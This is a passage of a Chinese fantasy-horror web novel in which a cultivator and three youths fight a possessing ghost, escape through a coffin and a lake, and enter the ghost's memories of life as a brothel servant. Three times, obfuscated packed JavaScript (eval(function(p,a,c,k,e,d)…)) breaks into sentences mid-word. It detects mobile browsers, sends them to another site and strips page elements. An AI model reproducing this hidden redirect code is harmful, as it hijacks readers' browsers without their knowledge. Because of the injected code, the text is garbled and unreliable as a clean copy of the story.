为祸人间终不会有善终,六十年前的某一夜,裴千秋的山头突然火光冲天,浓烟滚滚。原来是一个智勇双全的少年,以投靠之名潜入裴千秋山头做杂役,一潜就是数年,深得裴千秋信任,成为其左膀右臂。待时机成熟,少年向蓬莱城递交了裴千秋的详细布防图,并制定了周密的火攻计划。当夜,蓬莱城派出了精锐部队,配合少年的内应,趁裴千秋大意之时发动突袭。火攻之计大获成功,裴千秋的山头被烧毁殆尽,其本人也被少年一刀斩断头颅而死,至此,裴千秋的恶名灰飞烟灭。 “说得是比李浩好不少。”洛水点点头,转身开始绕着棺材观察起来。 “要是这婚书里的裴千秋,真和我故事里的那个是同一人就好了,当年裴千秋死得突然,他洞府又多,难以一一探查,据说还有洞府留了不少的财宝呢,要真是他,我就能问问哪里还有财宝了。”赵明叹了口气,脸上有些淡淡的失望之色。 “就算他在,他也是个没脑袋的鬼,你能和鬼沟通吗?还是你能复活裴千秋。”李浩拍了下赵明的后脑勺,打碎了他的白日梦。 “只要他的魂魄没被鬼差拽去酆都,我倒是有办法复活裴千秋。”洛水轻描淡写一句,吓得身后三人脸色一变,陈枫最先开口,语气微怒:“有些东西并不适合开玩笑。复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“此阵为上古邪修阵法,‘赤血灵动阵’可用生人之血肉,加速鬼道修士魂魄的修为。此套阵法并不难,也有不少人知道,但它只能加速魂魄的修为,无法增强肉身的。故而许多鬼道修士最多拿此阵炼出凶鬼便停止,因为鬼过于强大会反噬自身。但裴千秋不同,他已经是鬼了。你们试想,如若你们是裴千秋,被斩头以后,手握赤血灵动阵,会怎么拟定复仇计划?” “如若是我,必定先隐藏身份,静待机会慢慢重新修炼。”李浩说出自己的见解。 “如果是我,也会这样。赤血灵动阵需要的生灵血肉极其多,过度频繁地杀戮必招致蓬莱城的注意,而以绿林残余势力掩人耳目,便能够渐次吸收力量而不被察觉。裴千秋精于鬼道,其复仇计划必然是谨慎而持久的。”洛水补充道。 “也就是说,裴千秋死后的这几十年里,隐藏身份,不断收集生灵血肉,一直在为复活自己做准备?”陈枫说完,只觉青筋跳动,心中愈发沉重。 “不错,而香禾村的悲剧,极有可能是裴千秋复活计划中的一环。”洛水看着眼前的棺材,心里还是有疑惑停留,他又看了一遍婚书,脑子里思索许多阵法秘籍,并未有任何一册说过,什么样的阵法会要用到婚书作为媒介,这一路过来的婚礼布置,他开始怀疑这个阵法可能隐藏着更为复杂的目的。 “那如今,我们该如何应付?”陈枫问道。 “我们应付不了,我们要做的,就是赶紧逃出去回蓬莱城禀告此事。如若这真的是赤血灵动阵,意味着裴千秋的目的是把自己修炼至‘绝’,虽说成功率不高,但事态已不可控,必须找更高修为的人来应对。”洛水放下婚书,冷静地说道。 “逃出去?不和他打一场?”陈枫眉头一皱,显得有些不甘心。 “盲目自信是修炼大忌,多少英雄好汉,都折戟沉沙于自傲之中。我们必须认清局势,逃出去是为了保存实力,召集更多帮手。何况,我们不知道裴千秋是否还有其他后手,留在这里,无异于自投罗网。”洛水语重心长地说,“蓬莱城高手众多,他们会有办法解决此事,我们的责任是将这危险的消息带回,而不是白白牺牲。” “枫少,顾先生说得对,勇敢和鲁莽只一线之差。”李浩在身后扯了扯陈枫的衣衫,陈枫沉默片刻,点了点头。 33.三十三、成亲(二) “现下,我怕的是裴千秋会在我们几人之中搞鬼。”洛水皱着眉看着周围的一切,继续说道:“想来这些东西不可能是裴千秋一个鬼体能做到的,如若他已修炼至凶,那么他蛊惑人心的能力想必已到了炉火纯青的地步。刚才陈枫中邪时,我却感知不到任何鬼魂的气息,加之香禾村又被布下屏蔽感知的阵法,如若裴千秋附在我们任何一人身上,我们根本无从察觉,而他要下手害我们,简直易如反掌。” 三个少年面面相觑,互相看着彼此的眼神有了一丝疏离和戒备。陈枫掏出一枚灵符,沉声道:“可你不是有给我们辟邪符吗?” “这道符只能让一般的小妖小鬼不近身,你刚才中邪不就已经说明了符没用了吗?裴千秋若真修炼至凶,这些符咒难以奏效。”洛水的话没说完,李浩指着洛水肩膀的伤口说道:“顾先生,你的伤。” 洛水以符咒镇压的伤口,此刻竟再度裂开,鲜血汩汩而出,染红了半边衣襟。洛水拿出一颗丹药放入嘴里,苦涩的味道激得人面目狰狞,缓了一会,洛水又掏出一枚符咒,对陈枫说:“帮我撕掉原本的符。”陈枫迅速撕下洛水肩上的符咒,鲜血瞬间喷涌而出。洛水咬紧牙关,迅速将新符咒贴上,伤口逐渐止血。洛水深吸一口气,继续道:“我们尽快离开,莫要再耽搁了。” “顾先生,我好像有些新发现。”赵明原本站在几人身后,刚才洛水换符喷血之际,赵明惊得被地上的人油红蜡滑了一下脚,摔到了地上,揉着脑袋起来时,眼睛刚好触及蜡人的腰间,只见蜡人的腰间挂着一枚令牌,令牌上刻着“陈”字,赵明惊呼道:“这令牌,是蓬莱城各地官府的信物。”赵明的话让众人一愣,陈枫走过来蹲下身仔细端详,看了一会说道:“确实是,不过这枚令牌并非我爹颁发的,这是……我爷爷做城主时的样式!” 洛水迅速扫了一眼蜡人腰间的令牌,随后目光扫视过其他蜡人,只见无论男女,腰间皆挂着一枚令牌,上面均镌刻着一个硕大的‘陈’字,只是令牌周围的花纹与样式略有差异。陈枫观察了好几个蜡人,开口道:“这些都是蓬莱城发给各地治安官的令牌,可用于调兵遣将,传递密令,都是城主亲授的。” 洛水沉思片刻,缓缓道:“如此看来,裴千秋利用鬼术,操控了许多的治安官,难怪几十年都不曾有裴千秋的消息传出,香禾村被毁十年,无人禀报无人重建,想来也是被裴千秋控制的治安官隐瞒了真相。” “这些都是治安官?那得有多少和香禾村一样的村子,被裴千秋灭了却不得而知?”李浩想到这,脸色唰一下就白了。 “欺人太甚!”陈枫握紧拳头,眼中怒火中烧:“蓬莱城的污名原来就是这孙子搞出来的!” “好手段,专挑一些不为人知的小村子下手,死的人不少也不多,容易瞒下来,惊动不了蓬莱城,但这次为何会闹到城主跟前了呢?”洛水陷入沉思。 “恐怕是裴千秋的野心膨胀,不再满足于小打小闹。”赵明在一旁分析道。 洛水忽地脸色一沉,拉起三个少年说道:“赶紧走,别在这停留了。” “怎么了?突然这么急。”陈枫问道,洛水的步伐十分快,三人小跑着才跟上,洛水脸色凝重道:“鬼修炼至绝,亦会提升它所在区域所有鬼魂的修为。城主说过,此地突发鬼潮,这必定是裴千秋的功法快要大成的前兆,这才导致此地鬼影重现,从而被其他村民发现异常上报。” “可他不是控制了治安官了吗?” “可能是如今的他,已经无暇继续控制了吧,突破的关键期,哪还顾得上这些。”洛水说着,眼前却没了路,四人站在一面光滑的墙面前,此处根本没有出口。 “难道说,我们刚才进来的那条通道,是唯一的出路?”赵明的声音中带着一丝绝望的颤抖。 “不可能,要在此处建起这么多的东西,不可能只有那条小通道,散开找找,找有风声有气流的缝隙,这些地方必定有暗道的。”洛水嘱咐道,三个少年闻言,散开摸索起来。 ‘你可真聪明。’一个男人声音,忽然在洛水耳旁响起,这个声音的距离极近,近到就如同是趴在身边对准耳朵说的。 “谁!”洛水猛然转身,却见空无一物,心中警铃大作。那声音仿佛带着寒意,直透心底:“别找了,你们逃不掉的。”空气骤然凝固,四周隐约传来低沉的鬼哭。 “顾,顾先生……我怕。”赵明一下子冲到了洛水身边抱住,声音颤抖。洛水紧握剑柄,拉住赵明冷静道:“别怕,他在虚张声势,我们只要找到暗道就能脱身。” “顾先生!快放开他!”陈枫的声音骤然响起,洛水不明所以,看向自己拉着的赵明。只见赵明脸色惨白,眼、鼻、嘴同时溢出鲜血,眼中竟泛起诡异的红光,此刻正在狰狞地笑,就像,在座的所有蜡人。 洛水心中一惊,迅速松手,赵明却猛然扑来,双手如铁钳般紧扣洛水咽喉。“顾先生,我好怕啊,啊啊哈哈哈哈。”赵明忽然歇斯底里地狂笑,声音扭曲,眼中红光更盛。 “定!”洛水猛然发力,手指戳向赵明颈侧,瞬间封住其血脉,赵明身体一僵,缓缓倒下,洛水随之重重一摔,喘息着望向四周。陈枫和李浩迅速跑过来,各扶起一人,洛水喉咙火辣辣地疼,声音嘶哑道:“小心,他还没走!” “今日诸事不宜,各位恐要大祸临头了,啊哈哈哈!”疯癫的笑声在空旷的墙壁间回响,如同幽灵般游移不定。 “祭法器!”洛水提醒,李浩和陈枫迅速祭出法器,光芒闪烁,空气中的阴冷气息稍减。 “我大喜之日,诸位来喝喜酒也不带贺礼吗?不如把你们那对招子给我留下,作为贺礼如何?”声音愈发尖锐,墙壁上映出一个扭曲的人影。 “顾先生,小心!”李浩出言提醒之际,一道人影已冲至三人跟前。那是一具蜡人,那蜡人动作迅猛,双臂如利刃般直刺洛水。洛水侧身躲过,反手一刀刺入蜡人胸口,只听‘噗嗤’一声,蜡人被刺的胸口像纸一样破碎,坍缩凹陷,蜡屑四溅,露出里面黑漆漆的一团东西。 “他砍了!他砍了!啊哈哈哈哈!”狂笑声在空旷的洞穴中回荡,忽地一停:“你砍了,就好好享用吧!”只见那团黑物蠕动着,化作无数细小黑虫,迅速爬出蜡人残躯,攻向洛水三人。 “尸毒!”陈枫最先反应过来,这些黑虫与自己被拔除的尸毒一个模样,只是小了许多,有些营养不良的样子。洛水急喝:“退后!”三人迅速后撤,洛水手中冰沁刀光芒大盛,径直绕着洛水周围转起了圈,黑虫触及光圈纷纷消融。 “好身法!好手段!我喜欢!”狂笑声依旧不停,洛水只觉周遭有一股念力扩散,原本如同雕塑般端坐的蜡人,猛然间跃起,如潮水般汹涌地冲向了几人。 “不留余力,打!”洛水对着身边两人喝道,得到洛水命令的两人,立即御动灵力,挥舞着法器击向冲刺而来的蜡人。一瞬间,光芒交织在空间内,法器如割草一般轻松击碎蜡人,然而,蜡人迅速从口中喷射出密密麻麻的黑虫,形成一片黑色的风暴,再次向三人发起猛烈的围攻。洛水身形轻盈,手握冰沁刀,如同舞蹈般在空中划出一道道银色的弧线,精准地斩断每一条企图靠近的黑虫。 碎掉的蜡人,倒地后支撑着残缺的身躯,继续攻向三人,蜡人残躯和黑虫如狂潮席卷三人,渐渐的,法器的光芒逐渐暗淡,三人的灵力正在被快速消耗,最先顶不住的是李浩,他脚步踉跄,法器光芒骤然熄灭,黑虫瞬间爬满手臂,剧痛令他惨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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洛水冷哼一声,说道:“我破你肉身,看你如何嚣张!”说吧,手中冰沁刀猛地刺入干尸身体,四周传来一声尖叫,凄惨无比。 陈枫惊喜地喊道:“成了吗?” “啊哈哈哈哈,你砍吧!砍吧!啊哈哈哈哈哈!”四周再次传出疯癫至极的笑声,刚才的蜡人残躯和黑虫回头袭击而来,陈枫脸上的喜悦立即被绝望覆盖。 “进来!”洛水一声大喊,转头看去,便看见他翻进了棺材之内,陈枫不解此为何意,但即将到来的袭击已容不得他思考,他用力把赵明甩向洛水,自己抓着李浩手臂迅速跃入棺材,洛水反手将棺盖合上,棺内瞬间一片漆黑,腥臭味极为浓烈。 “爆!”洛水掐指一扣,低喝一声,只觉外头忽然一声惊天巨响,棺材也跟着剧烈震动,“抓紧了!要下坠了!”洛水话音刚落,棺材如脱缰野马般急速下坠,陈李赵三人紧紧相拥,心跳如雷。失重感让三人头晕目眩,棺材内空气稀薄,呼吸愈发困难。 “嘭”没多久,棺材重重砸进了水里,水花四溅,棺材迅速下沉,冰冷刺骨的水迅速涌入,洛水用手中冰沁刀向上一顶,揭开厚重的棺盖,众人赶紧互相拖拽着,游出棺材。 水中一片漆黑,唯一的光亮只有冰沁刀的微弱蓝光。洛水率先探出水面,深吸一口气,迅速辨别方向,带着众人向岸边游去。水中的阻力极大,每个人都拼尽全力,生怕被黑暗吞噬。 “那边,有地方!”洛水指向一块突出的岩石,这是水中唯一的凸出物。洛水御动灵力,幻化出一根冰蓝色绳状物附在冰沁刀刀柄上,随后御动冰沁刀,击向那块石头。冰沁刀破风而出,深深地插入石头之中,凭借冰沁刀,洛水稳稳攀住岩石,借助灵力将绳索拉紧,陈枫、李浩依次抓住绳索,跟随洛水奋力游向岩石。 三人终于攀上岩石,湿透的身体瑟瑟发抖。 “等等!赵明呢?”陈枫站起身来,才发现赵明不见踪影,心中顿时一沉。 “应该是刚才从棺材出来时,没拉住他。”李浩的脸色很是难看,煞白如纸。 “莫急,等我……”洛水话还没说完,只见陈枫脱去身上湿漉漉的红衣,轻薄的衣衫紧贴肌肤,显露出精瘦的身躯。他深吸一口气,眼神坚定,纵身跃入冰冷的水中,水花四溅,迅速消失在黑暗深处。 34.三十四、成亲(三) 水中寒气逼人,每一下划水都像刀割般疼痛,水中的阻力让陈枫每前进一步都异常艰难。此地黑暗,仿佛无底深渊,陈枫一下子没了方向感,只能凭借直觉向前游动。没游多久,就撞上了东西,冰冷坚硬,像是岩石。陈枫伸手一摸,这物体表面光滑之余又有些颗粒感,更像是某种金属。陈枫定睛一看,这物体竟是一条锁链。 锁链粗如小臂,蜿蜒盘旋,在水中延伸,似乎连接着某个深处。陈枫顺着锁链向下潜去,寒意愈发刺骨,呼吸也愈发急促。突然,锁链尽头隐约看到一个人影。陈枫心中一喜,奋力游近,越靠近,越觉得那人影的姿势着实奇怪。人影呈现出一种扭曲的姿态,双臂反剪,脚在上头在下,头部被锁链紧紧缠绕,如同放风筝一般漂浮在水中。陈枫心中一紧,迅速靠近,发现那人不是赵明,这人身躯已腐烂了大半,身上残留的烂肉一缕缕地随着水流飘逸,他脸部扭曲,眼眶空洞,因为陈枫游水激起的水流,使得他正从体内晃出一些褐色液体,吓得陈枫立刻往其他方向游去,可很快,熟悉的光滑感再次传来,陈枫心一惊,回头望去,竟是一条同样的锁链,也绑着一具差不多的尸体。陈枫愈发惊恐,旋转一看,周围全是这样的锁链和尸体,远处看不清的地方隐约能看到更多相同的景象,这里仿佛就是一片死亡之海。 忽然,陈枫只觉自己脚踝一紧,像是被冰冷的铁钳夹住,一股巨大的力量将他向上拖去。陈枫惊恐万分,奋力挣扎,却发现那力量无比强大,根本无法挣脱。随着身体不断上升,水压骤减,耳畔传来咕噜噜的水声。最终,他被拖出水面,重重地甩在岩石上。 陈枫剧烈咳嗽,肺部火辣辣地疼。他抬头,只见一双冷冽的眼睛正俯视着他,是洛水,他手中拽着一根幽蓝色的绳状物,正是扣住自己脚腕的东西。洛水面无表情,化去手中绳索,冷声道:“你要死,不要在我跟前死,我不想惹上你城主府的麻烦。” “你!”陈枫双目一瞪,火气从心底爆发,咆哮道:“你有没有人性!你怎能如此冷漠!赵明生死未卜,你却一副置身事外的模样!” “你有人性,可你没本事,这下面鬼气重重怨气深厚,你知道你跳下去是什么后果吗?” “我不管什么后果,赵明是我的兄弟,我不能丢下他!”陈枫话刚出,只觉脸颊一凉,‘啪’一声,洛水给了陈枫一记狠狠的耳光,脸上是无比失望的神色:“我最烦的,就是不惜命的莽夫。”说完,洛水御动灵力,在身边化出一个淡蓝色的屏障,随手纵身一跃跳入水中,瞬间消失不见。 “你本事大,怎么刚才你逃得那么狼狈!怎么不见你……”陈枫对着水面怒吼,话未说完,水面已恢复平静,只留他孤零零地坐在岩石上,心中怒火与绝望交织。 “枫少!”李浩斜着身子用仅剩的一只手拍了拍他的肩膀,又指了不远处地上的一滩血,沉声道:“顾先生受的伤也不轻,他……” 陈枫抬手拦下李浩的话,目光扫过那滩血迹,心中一沉。他咬紧牙关,深吸一口气,压下心头的怒火与焦虑,随后坐下说:“过来吧,我渡一些灵气给你,别让尸毒真的侵入心脉了。” 李浩眼中闪过一丝感激,艰难地挪到陈枫身旁,盘腿坐下。陈枫闭目凝神,双手轻放在李浩背上,一股温润的灵气缓缓流入李浩体内,驱散着那股阴冷的尸毒。李浩的脸色逐渐由青转红,呼吸也变得平稳。 灵气渡完,水面依旧不见任何动静,两人频频对视,心中满是沉重。又过了大约两炷香的时间,还是没有任何动静,此刻岩石上两人的焦躁心情已经到了极点,正常人在水里这么长时间,早就该支撑不住了。陈枫紧握双拳,指甲深深嵌入掌心,却浑然不觉。李浩咬紧牙关,额头上冷汗涔涔。两人心中明白,赵明的生还希望渺茫,但有顾青在,或许他还有一线生机。 ‘但如若,他也搭进去了呢?’心中闪过一个疑问,陈枫立刻甩了自己一巴掌,痛恨自己不合时宜的胡思乱想。 突然,湖面泛起一阵微弱的涟漪,一个身影缓缓浮出水面,正是顾青,他脸色苍白,浑身湿透,身上的衣服不知为何多了许多撕扯的痕迹。他爬起后,身子有些晃,但很快便稳了下来,歪着头拧了一把头发上的水,哑着嗓子道:“赵明…我没找到。”陈李两人眼中的光芒迅速黯淡下去,陈枫踢走身边的一块石头,想用力骂一句,但最后发现,无人能指责,这件事本就是意外。 洛水拧干头发厚深吸一口气,继续道:“不过,我发现水下有个洞穴,我稍微探查了一下,似是连到另一个地方,现在这里只有水没有路,我们或许可以从那里找到出路。” “那赵明他……”李浩焦急地问,但又很快沉默,他怎么会不知道在此失踪意味着什么,只是心里还是有不切实际的幻想。洛水甩甩身上的水,说道:“那洞有暗流,如若我在下面没找到赵明,那他极有可能是被暗流冲到那洞的另一头去了。” 洛水的话,让两个少年精神一震,陈枫很想问‘是真是假’,但最后还是闭上了嘴,他太害怕听到另一种答案了。 “那我们走吧。”洛水呼了口气,御动灵力,一个幽蓝色屏障套住了三人,缓缓下沉至湖底。水压渐增,视线模糊,屏障也发出了被水流挤压的吱呀声,洛水在前引路,灵力光芒微弱却坚定。陈枫紧随其后,心中忐忑却强作镇定,李浩则默默祈祷,希望赵明能在洞的另一端平安无事。随着深入,陈枫发现,刚才的尸体都不见了,只留下一根根粗壮的锁链倒挂,如同水草般摇曳。陈枫不知刚才洛水下来后发生了什么,但一定不轻松,再回想到自己莽撞地跳入湖中,心中不禁涌起一阵乱七八糟的情绪,有害怕,有害羞,有愧疚。 一会,三人沉到了底,陈枫这才知道消失的尸体都去了哪,都变成了残肢断臂,散落在湖底的淤泥中,触目惊心。陈枫不由得看向洛水,却见他依旧面无表情,仿佛此事与他无关。 在水底淤泥中走了一会,一个熟悉的东西出现在三人眼里——光滑如镜的棺材,此刻棺材没有了棺盖,斜着插在淤泥里,水中黑暗,只有屏障和洛水手里冰沁刀的一点蓝光,更凸显棺材的诡异。棺材内空无一物,原本躺在棺材里的干尸已经不见,想来也是在掉下来时被暗流卷走了。 绕过棺材,三人继续前行,淤泥中的锁链越来越多,仿佛织成一张巨网。洛水用手中冰沁刀推开挡在眼前的锁链,几根残肢随之掉下。这里的锁链还挂有几具尸体,但也残缺不全了,李浩忍不住呕吐,陈枫脸色苍白,推开锁链后,一个黑色的洞口出现在他们面前,洞口幽深,吞噬一切光亮。洛水率先踏入,灵力光芒在黑暗中闪烁,陈枫和李浩紧随其后。 对比外面,此处是真的黑到了极致,洛水散发的蓝光只能照亮三人自身,伸手往前便看不见五指了,三人的呼吸声在黑暗中显得格外清晰,彼此的心跳也似乎能听见。洛水灵力微调,光芒稍强,这才稍稍驱散两个少年的心中恐惧。三人小心翼翼,沿着洞壁前行,脚下传来细碎的声响,似是骨头碎裂。陈枫心中一紧,李浩紧握拳头,尽力保持冷静。洛水步伐稳健,灵力光芒如明灯指引,渐渐地,开始感觉到三人的步伐正在往上,又走了一会,便感觉到已经脱离了湖底的淤泥,人已经从水中走出。脚下的地面变得坚硬,空气也渐渐清新,四周的黑暗依旧,但心中的恐惧却稍减。三人继续前行,灵力光芒在洞壁上反射出微弱的光斑,仿佛是前路的指引。 一抹光亮在前头,渐渐扩大,但这光亮没能让三人心里的不安减少,反而更加汹涌。那是一抹艳丽的红色光亮,如同血色般刺目,没有其余的颜色,只有红,越靠近,光亮越红,那红色光亮映照在三人脸上,显得格外诡异。但此处并无其他路可选,三人只能硬着头皮继续前行。红色光亮越来越强,仿佛能穿透灵魂,陈枫感到一阵眩晕,李浩紧咬嘴唇,两人都觉得心里毛毛的,有一股寒意不知从哪里冒出来。 洛水第一个走出了洞道,眼前豁然开朗,一片血色世界映入眼帘,空气中弥漫着腥甜的气息。三人往四周一瞧,心中一凉,只见血色之中,一支婚嫁队伍正面对着三人。婚嫁队伍每个人都身着红衣,手持白烛,仿佛被定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15202371|164160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格在时间中。他们的头部都盖着红布,看不见脸,驼着背作出缓缓前行的动作,都静止不动。空气中弥漫着诡异的寂静,只有白烛的微弱光芒在摇曳。三人屏住呼吸,不敢发出丝毫声响,生怕打破这恐怖的平衡。 婚嫁队伍里最为显眼的是位于中间的花轿。这花轿实在庞大,如同是把一个房间直接搬到了此处,轿身血红,绣着金色的龙凤,轿帘低垂,隐约可见里面似乎有东西在微微颤动,令人不寒而栗。 如今三人,一人光着膀子,一人手臂中毒,一人肩膀冒血,已经无力再去探讨此处的诡异,只想尽快离开这恐怖之地。故而洛水轻声示意,三人屏息疾行,绕过花轿,尽量避开队伍的视线。每一步都小心翼翼,生怕触碰到任何东西。轿帘随风微动,三人心中愈发紧张,仿佛下一秒就会有恐怖之物冲出。 “咚”一声,不知从哪传出的一声钟响,打破了死寂,三人身形一顿,心跳骤然加速。红光随着钟声波动,瞬间暗了下去,整个血色世界回归黑暗,只有送嫁队伍手里白烛的微光在摇曳。 “咚”又一声,红光再次出现,视觉重新回归,三人此时已不知该往哪走。 “顾先生,他们好像……活了。”李浩指着送嫁队伍说道,洛水看向那头,只见原本是对准洞穴口的队伍,不知为何,领头的‘人’已经扭向了三人所在的位置方向。 “祭法器。”洛水一声令下,只有陈枫祭出了长剑,李浩脸色一沉,发现自己已经没有任何灵力了。 “你在此处,看着李浩。”洛水一声令下,挥着冰沁刀冲向了送嫁队伍,‘咚’又一声钟响,红光再次湮灭,四周重回黑暗。这一次,黑暗中多出了许多咆哮声,撕裂声,撞击声,随后钟声再次响起,红光再临,遍地的送嫁队伍残躯,在红光映照之下更为恐怖扭曲。 “你是我见过最弑杀的正道修士了。”一个熟悉的声音响起,几人抬头看去,只见赵明整站在轿顶上脸色阴沉的看着一切,声音有些颤抖:“你们到底要把我的大婚,毁到何种地步才善罢甘休!” “你把我们放了,自然就不毁了。”洛水仔细打量了一圈赵明,随后说道。 “放了你们?休想!特别是,那个姓陈的小子!”赵明直指陈枫,眼神满是凶狠。 “赵明,你怎么了?怎么开始说这些胡话了?”李浩焦急追问。 “他不是赵明,他被鬼上身了。”洛水脚步一沓,回到了两人身前。 “这一路,鬼道之术是一点也缠不住你,要不是看着你使的功法都是灵气驱使,我都快怀疑你到底是不是同道中人了。”赵明坐在轿顶,一只脚悬着,满脸的讥讽笑意。 “要怪就怪你自己修炼不纯,鬼道之法只取形不取心,做的用的也不知道是哪里抄来的残章鬼道,只知凝怨气炼尸偶,增助自身修为的一点不做,修了几十年,至今仍只是个上人身耍手段的凶鬼。”洛水讥讽道,短短几句,让轿顶之人忽然站起,愤怒地冲向洛水。 那人手中没有任何法器兵器,但用的是赵明肉身,洛水无奈,只能收起冰沁刀,赤手空拳与赵明打了起来。打斗并未持续多久,只因洛水抽出不知哪来的红绳,直接快速地绕着赵明的打斗,三两下便捆绑住了赵明的双手,随后是身子,最后是腿,流畅的动作让一旁的两人着实看呆了。 “放开我!”赵明狂怒咆哮。 “是不是想离开却发现走不了,都说了,修炼不要只修半章,后患无穷。”洛水一声笑,脚下一扫,赵明被扫倒在地。洛水捻起赵明身上红线的一头,对陈枫和李浩说道:“给我护法,我要离开一下。” “你要去哪?”陈枫有点急地问道。 “不是说过吗,要想灭鬼,需得了解其根源才能化去他的怨气,我去找他的怨气源头。” “怎么找?” 洛水不语,掏出一张紫色符箓贴在自己额头之上,随后,把捻起的红线放入嘴中含住,随后坐下打起了坐,双眼紧闭,身体微微颤抖,然后头一歪,似乎进入了一种奇异的状态,赵明也随之昏了过去。 35.三十五、梦中忆(一) 洛水只觉天地旋转,自己的魂魄和某股不可控的意识洪流纠缠在一起,分分合合之中,只觉自己被揉搓进了一人体内,随后,五感回归,眼前景象逐渐清晰,再一看,四周全是陌生之景,而自己正不受控制地自行说话,自行行走,洛水明白,他的魂魄已经闯入了那个附身赵明的鬼魂记忆深处,这里只有正主最深的记忆。此刻两魂共生共存,二者不分彼此。 “十月,快,去芍药居收拾!”一声浑厚的男声从头顶上方传来,正在擦地的人抬头一看,一个满嘴胡子的龟公正在一边嗑瓜子一边吐瓜子皮,在二楼某个厢房前冷眼看着名为十月的人,眼神带着鄙夷和不屑。 “是。”十月低着头,把面前不知是哪个客人呕吐的秽物最后一块清理干净,又迅速拿起扫帚,默默上楼走向芍药居。 芍药居在三楼,中层的楼阁是给那些有了些年纪但还有郎官上门的内人居住,而三楼,则是青春正少,花期正艳的女子们所在。一路上,十月耳里听到的都是男女欢好的愉悦之声,十月心里毫无波澜,只默默想着自己的心事,步伐坚定地走到三楼。 行至芍药居,十月推开门,屋内弥漫着刺鼻的酒气,地上散落着破碎的瓷片和凌乱的衣物。一个女子正赤裸躺在床上喘着气,面色红润,看到十月进来,也无顾及,站起身从地上随便抽了件薄纱内衣穿上,随后走进了屏风后开始冲洗。 十月冷漠地撤下床铺上的被褥,收起地上撕裂脏污的衣裙,囵成一团丢到自己带来的竹筐之中,随后又从衣柜里取出新的被褥铺上,再把干净的衣服挂到屏风上,随后开始慢慢清理起一地的狼藉。 十月最不喜欢的就是给三楼内人们做打扫,这个年纪的内人花期正盛,也毫无顾忌,总是有郎官带着五石散上来与内人同用,一顿欢愉过后,满地的白色粉末以及打翻的酒水茶渍,这些都很难清洗,特别是倒在地毯上,钟妈妈每天都会因为这些事训斥三楼内人,只因一月内就要更换多条地毯,更别提内人们穿的衣衫。 花了挺长时间十月才把芍药居收拾干净,那头屏风的人也走了出来,看着焕然一新的房间,满意地扯了扯嘴角,随后从自己的梳妆台里掏出了几个铜板,直接扔到了十月身上,然后头也不回地开始梳妆打扮。十月不语,只默默地捡起这几枚铜板,五枚铜板,是他的赏钱也是工钱,但还要抽出三枚给龟公,自己能留着的只有两枚。铜板在手中沉甸甸的,十月心中却无半分喜悦,划拉出三枚,把剩余的两枚放进裤袋里,扛着装满污物的竹筐退出了芍药居。 还没走两步,就撞上了满脸胡子的龟公,他依旧歪撇着嘴嗑着瓜子,他也不说话,直勾勾地盯着十月,十月把手掌里的三枚伸出去,放在了龟公那一手的瓜子里。 “呸,芍药这娘们真他娘的小气,每次就给几个铜板,打发叫花子呢?”龟公一口浓痰吐地,随后走开,还不忘说:“擦干净了。”十月叹气,掏出竹筐内的抹布,蹲下来把那口浓痰擦去,心里想着‘叫花子可不用干活还上缴。’ “小十月,干活呢?最近怎么都不来我房里打扫了,嫌我给的赏钱少啊?是啊,可比不过上头那些水灵灵的妹儿。”路过二楼,一个浓妆艳抹的女人倚在栏杆旁笑嘻嘻地看着十月,但是用的脂粉有些劣质,笑起来嚓掉了一块,看着有些悚然。十月勉强挤出一丝笑容,低头回应:“最近二楼的活没排到我。” “真的假的,许久不见你来,姐姐可想你了。要不姐姐给你玩玩,就当赏钱了。”女人的话语下流,这一套对某些郎官颇为受用,十月却只觉恶心,轻声婉拒:“姐姐说笑了,我还得赶着去下一处。”女人见状,悻悻然收回手,十月快步离开,这样的“赏钱”他可不敢要。 走过长长的走廊,十月的心愈发沉重,每一步都像是踩在棉花上,轻飘飘又无力。十月是个龟公,但在前头还有一个‘小’字。小龟公要做的就是妓院里最没人喜欢做的事,收拾各种床事后的被褥和内人的衣物,清洗那些沾满污渍的布料,忍受着各种冷眼和轻蔑。他的双手因长期浸泡在碱水中而变得粗糙,指节泛红。他没得选,这份职业从他生下就跟着他了,自懂事起,他就要做端茶倒水的活,再长大些,就要学会帮扶客人,如今,年纪渐长,要做的就是如今这些浆洗收拾的精细活计。 没有人会想做龟公,做这行的要么是落魄到了极点,要么就是出生就在妓院,十月属于后者。他的母亲是个笑话,作为妓女,却生了孩子,听说钟妈妈给他母亲灌了三碗落子汤也没打成,才留了下来。十月母亲也曾是个名妓,蓬莱城内为瞻仰其一笑,不惜掷千金。但是怀了孩子的名妓就是坏了芯的果,无人再碰,名妓也从高高在上一下子跌入泥潭。 十月心中明白,命运如泥沼,越挣扎越深陷。他低头看着自己粗糙的双手,心中却有一丝不甘,或许,某天能找到逃离这牢笼的钥匙,正这么想着,忽听一声轻唤:“十月。”回头,是厨房的张嬢嬢,她举着两个海碗,笑着说:“今天客人有剩的酒菜,都好着哩,我可没卖给做拼饭的,专门留着给你。” 拼饭是专门买入酒楼剩菜剩饭,再转卖给穷人的行当。这些被人吃剩的东西,在他们这些底层人里,却是难得的珍馐,厨房都靠着这些收回的残羹冷炙补贴生计。十月很是清楚张嬢嬢这一藏,又少了十多个铜板,感激之情溢于言表,他接过碗,轻声道谢。 “谢什么,你娘当初也没少关照我,她最近如何了?可好些了?”张嬢嬢关切问道。 “没有,还是说那些胡话。”十月叹了口气,眼神黯淡。 